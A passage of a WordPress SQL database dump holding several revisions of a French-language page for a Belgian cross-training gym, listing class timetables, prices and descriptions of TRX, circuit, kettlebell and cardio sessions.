obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:54:00', '2013-07-03 17:54:00', '', 11, 'http://www.crosstrainingcenter.be/?p=203', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(204, 1, '2013-07-03 17:57:10', '2013-07-03 17:57:10', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:57:10', '2013-07-03 17:57:10', '', 11, 'http://www.crosstrainingcenter.be/?p=204', 0, 'revision', '', 0),
(207, 1, '2013-07-03 18:03:14', '2013-07-03 18:03:14', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de 